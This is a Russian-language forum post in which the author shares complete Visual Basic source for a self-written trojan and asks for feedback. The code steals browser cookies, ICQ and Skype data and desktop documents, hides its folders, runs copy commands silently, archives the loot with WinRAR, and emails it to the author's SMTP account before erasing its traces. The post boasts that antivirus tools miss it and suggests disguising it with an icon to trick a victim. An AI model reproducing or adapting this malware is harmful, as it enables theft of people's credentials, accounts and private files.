TheFirCocs
Сообщений: 1
Оценки: 0
Присоединился: 2011-06-03 13:51:35.503333
|
Было время - написал трой на VB. Действия троя: 1) Ворует куки от IE, Mozilla, Opera 2) Ворует ICQ и Skype 3) Все файлы с рабочего стола с расширение "txt","doc","docx". 4) Отправляет все это добро на почту. 5) Ни один антивирус не обнаружил угрозу. Проверял программой - JottiQ и Каспером. Трой проверялся на win7MAX. Из-за того что я криворукий и не нашел кнопки, для добавления файла на топик. Я выкладываю код. Заранее извиняюсь если плохо оформил.
'включение таймера
Public Sub Wait(seconds)
Timer1.Enabled = True
Me.Timer1.Interval = 1000 * seconds
While Me.Timer1.Interval > 0
DoEvents
Wend
Timer1.Enabled = False
End Sub
'настройка таймера
Private Sub Timer1_Timer()
Timer1.Interval = 0
End Sub
'код формы
Private Sub Form_Load()
'скрываем форму
Form1.Visible = False
'объекты
On Error Resume Next
Set FSO = CreateObject("sсriрting.FileSystemObject")
Set WshShell = Wsсriрt.CreateObject("Wsсriрt.Shell")
'создаем папки для хранения промежуточных файлов
FSO.CreateFolder ("c:\654")
FSO.CreateFolder ("c:\Help")
FSO.CreateFolder ("c:\Help\Mozilla")
FSO.CreateFolder ("c:\Help\Opera")
FSO.CreateFolder ("c:\Help\IE")
FSO.CreateFolder ("c:\Help\ICQ")
FSO.CreateFolder ("c:\Help\Skype")
FSO.CreateFolder ("c:\Help\TXT")
FSO.CreateFolder ("c:\Help\DOC")
'прячим папки
strDIR = "C:\Help"
Set objFSO = CreateObject("sсriрting.FileSystemObject")
Set objDIR = objFSO.GetFolder(strDIR)
objDIR.Attributes = 2
'создаем bat для копирования паролей и текстовых файлов
Set FSO = CreateObject("sсriрting.FileSystemObject")
Set tf = FSO.CreateTextFile("c:\654\Copy.bat", True)
tf.WriteLine ("XCOPY C:\Users\%USERNAME%\AppData\Roaming\Opera\Opera\*.* C:\Help\Opera /Y /H")
tf.WriteLine ("XCOPY C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\cооkies\*.* C:\Help\IE /Y /H")
tf.WriteLine ("CD /D C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\")
tf.WriteLine ("XCopy Profiles C:\Help\Mozilla\ /H /E /G /Q /R /Y")
tf.WriteLine ("CD /D C:\Users\%USERNAME%\AppData\Roaming\")
tf.WriteLine ("XCopy ICQ C:\Help\ICQ\ /H /E /G /Q /R /Y")
tf.WriteLine ("CD /D C:\Users\%USERNAME%\AppData\Roaming\")
tf.WriteLine ("XCopy Skype C:\Help\Skype\ /H /E /G /Q /R /Y")
tf.WriteLine ("XCopy C:\Users\%USERNAME%\Desktop\*.txt C:\Help\TXT /H /Y")
tf.WriteLine ("XCopy C:\Users\%USERNAME%\Desktop\*.doc C:\Help\DOC /H /Y")
tf.WriteLine ("XCopy C:\Users\%USERNAME%\Desktop\*.docx C:\Help\DOC /H /Y")
tf.Close
'запускаем bat в скрытом режиме
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "copy.bat", "", "C:\654", "", 0
'ждем 30 сек для того что-бы bat успел сделать свою грязную работу
Wait (30)
'Создаем архив с файлами в скрытом режиме
Dim RetVal
Dim WinRarApp$, iFileName$, iArhivName$, adr$, iPath$
WinRarApp$ = "C:\Program Files\WinRAR\WinRAR.exe a"
iPath = "C:\"
iFileName$ = "Help"
iArhivName$ = "654\Help.rar"
adr$ = WinRarApp$ & " """ & iPath & iArhivName$ & """ """ & iPath & iFileName$ & """ "
RetVal = Shell(adr$, vbHide) 'vbNormalFocus)
'ждем 30 сек для того что-бы winrar успел сделать архив
Wait (30)
'Отправляем архив по почте
Const EmailFrom = "почта 1 для отправки"
Const EmailPassword = "пароль от почты 1"
Const strSmtpServer = "smtp сервер для почты 1"
Const EmailTo = "почта 2, сюда придет архив с файлами"
Set objEmail = CreateObject("CDO.Message")
objEmail.AddAttachment "C:\654\Help.rar" 'путь к нашему архиву
objEmail.From = EmailFrom
objEmail.To = EmailTo
objEmail.Subject = "Comp Info" 'заголовок сообщения
objEmail.Textbоdу = "" 'текст сообщения
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = EmailFrom
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = EmailPassword
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSmtpServer
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.updаtе
objEmail.Send
'заметаем следы
FSO.DeleteFolder "c:\Help"
FSO.DeleteFolder "c:\654"
'THE END
End
End Sub
С помощью компилятора можно сделать любую иконку и впарить кому то. Высказываем свое мнение, хорошее и плохое. Буду рад если дадите дельный совет. Автор - TheFirCocs
|